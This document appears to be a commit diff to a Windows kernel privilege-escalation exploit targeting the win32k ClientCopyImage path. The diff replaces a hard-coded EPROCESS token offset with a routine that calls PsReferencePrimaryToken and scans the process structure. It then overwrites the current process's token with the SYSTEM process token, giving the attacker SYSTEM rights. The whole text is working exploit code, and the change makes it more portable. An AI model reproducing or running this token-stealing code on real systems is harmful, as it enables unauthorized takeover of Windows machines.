@@ -70,7 +70,13 @@ pUser32_ClientCopyImage g_originalCCI = NULL;
70
70
PVOID g_ppCCI = NULL , g_w32theadinfo = NULL ;
71
71
int g_shellCalled = 0 ;
72
72
DWORD g_OurPID ;
73
- DWORD g_EPROCESS_TokenOffset = 0 ;
73
+
74
+
75
+ typedef PACCESS_TOKEN (NTAPI * lPsReferencePrimaryToken )(
76
+ _Inout_ PVOID Process
77
+ );
78
+
79
+ lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL ;
74
80
75
81
typedef NTSTATUS (NTAPI * PRtlGetVersion )( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
76
82
@@ -272,6 +278,9 @@ ULONG_PTR GetPsLookupProcessByProcessId(
272
278
break ;
273
279
}
274
280
281
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )GetProcAddress (MappedKernel , "PsReferencePrimaryToken" );
282
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )((DWORD_PTR )KernelBase + ((DWORD_PTR )pPsReferencePrimaryToken - (DWORD_PTR )MappedKernel ));
283
+
275
284
FuncAddress = (ULONG_PTR )GetProcAddress (MappedKernel , "PsLookupProcessByProcessId" );
276
285
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR )MappedKernel ;
277
286
@@ -329,6 +338,36 @@ HWND GetFirstThreadHWND(
329
338
return 0 ;
330
339
}
331
340
341
+ // Search the specified data structure for a member with CurrentValue.
342
+ BOOL find_and_replace_member (PDWORD_PTR pdwStructure , DWORD_PTR dwCurrentValue , DWORD_PTR dwNewValue , DWORD_PTR dwMaxSize )
343
+ {
344
+ DWORD_PTR dwIndex , dwMask ;
345
+
346
+ // Microsoft QWORD aligns object pointers, then uses the lower three
347
+ // bits for quick reference counting.
348
+ #ifdef _M_X64
349
+ dwMask = ~0xf ;
350
+ #else
351
+ dwMask = ~7 ;
352
+ #endif
353
+ // dwMask out the reference count.
354
+ dwCurrentValue &= dwMask ;
355
+
356
+ // Scan the structure for any occurrence of dwCurrentValue.
357
+ for (dwIndex = 0 ; dwIndex < dwMaxSize ; dwIndex ++ )
358
+ {
359
+ if ((pdwStructure [dwIndex ] & dwMask ) == dwCurrentValue )
360
+ {
361
+ // And finally, replace it with NewValue.
362
+ pdwStructure [dwIndex ] = dwNewValue ;
363
+ return TRUE;
364
+ }
365
+ }
366
+
367
+ // Member not found.
368
+ return FALSE;
369
+ }
370
+
332
371
/*
333
372
* StealProcessToken
334
373
*
@@ -349,9 +388,14 @@ NTSTATUS NTAPI StealProcessToken(
349
388
if (NT_SUCCESS (Status )) {
350
389
Status = g_PsLookupProcessByProcessIdPtr ((HANDLE )4 , & SystemProcess );
351
390
if (NT_SUCCESS (Status )) {
352
- if (g_EPROCESS_TokenOffset ) {
353
- * (PVOID * )((PBYTE )CurrentProcess + g_EPROCESS_TokenOffset ) = * (PVOID * )((PBYTE )SystemProcess + g_EPROCESS_TokenOffset );
354
- }
391
+ PACCESS_TOKEN targetToken = pPsReferencePrimaryToken (CurrentProcess );
392
+ PACCESS_TOKEN systemToken = pPsReferencePrimaryToken (SystemProcess );
393
+
394
+ // Find the token in the target process, and replace with the system token.
395
+ find_and_replace_member ((PDWORD_PTR )CurrentProcess ,
396
+ (DWORD_PTR )targetToken ,
397
+ (DWORD_PTR )systemToken ,
398
+ 0x200 );
355
399
}
356
400
}
357
401
return Status ;
@@ -436,13 +480,6 @@ void win32k_client_copy_image(LPVOID lpPayload)
436
480
g_OurPID = GetCurrentProcessId ();
437
481
g_PsLookupProcessByProcessIdPtr = (PVOID )GetPsLookupProcessByProcessId ();
438
482
439
- #ifdef _WIN64
440
- g_EPROCESS_TokenOffset = 0x208 ;
441
- #else
442
- g_EPROCESS_TokenOffset = 0xF8 ;
443
- #endif
444
-
445
-
446
483
if (g_PsLookupProcessByProcessIdPtr == NULL ) {
447
484
ExitProcess ((UINT )- 3 );
448
485
return ;
0 commit comments